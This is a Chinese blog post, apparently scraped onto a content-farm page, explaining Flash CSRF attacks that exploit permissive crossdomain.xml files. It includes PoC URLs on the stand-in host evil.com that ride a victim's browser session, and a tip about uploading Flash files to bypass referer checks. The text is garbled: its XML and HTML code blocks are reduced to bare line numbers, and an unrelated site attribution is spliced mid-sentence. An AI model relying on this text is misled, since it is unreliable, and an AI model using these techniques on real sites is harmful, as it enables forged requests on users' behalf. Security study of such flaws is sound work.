看到 ping0s 在 FB 上放出了关于 Flash CSRF 的一些东西,也来聊一聊,just share.
Flash CSRF 通常是由于 crossdomain.xml 配置不当造成的,利用方法是使用 swf 文件跨域发起请求,
也来聊聊 Flash CSRF脚本安全
。当然 crossdomain.xml 配置得当时,我们也可以从目标站点发起伪造请求。0×01 crossdomain.xml 配置不当时直接请求
1
2
3
4
上面的 crossdomain.xml 文件配置允任何域的 Flash 对本域发起 HTTP 请求,危害非常大。
hi.php:
1
2if ($_COOKIE['user']=='admin') {
3echo "hi, admin.";
4}
5else {
6echo "you need to login.";
7}
POC:http://evil.com/xss.swf?a=get&c=http://localhost/hi.php
Firebug 下可以看到,我们成功继承浏览器会话,请求了 localhost 域的 hi.php
0×02 crossdomain.xml 配置正确,从本域 Flash 发起请求
重新配置crossdomain.xml,限制允许 localhost 域的 Flash 请求,
电脑资料
《也来聊聊 Flash CSRF脚本安全》(http://meiwen.anslib.com)。1
2
3
4
这时我们可以响应的往目标站点上上传 Flash 文件,通过 HTML 中的 object 和 embed 标签引用上传的 Flash 发起请求。(注意,我们上传的文件不一定是 swf 后缀,和 script. 标签类似,不一定要求是 js 后缀。)
POC:
01
02
05
06
13
14
http://evil.com/poc.html
这里的 object 标签内嵌 embed 标签是为了兼容大多数浏览器。通过 Flash 从本域发起的请求可以绕过一些限制,如 refer 等。
References:
http://www.80sec.com/csrf-with-flash.html
http://dushii.blog.163.com/blog/static/173051932009413104931351/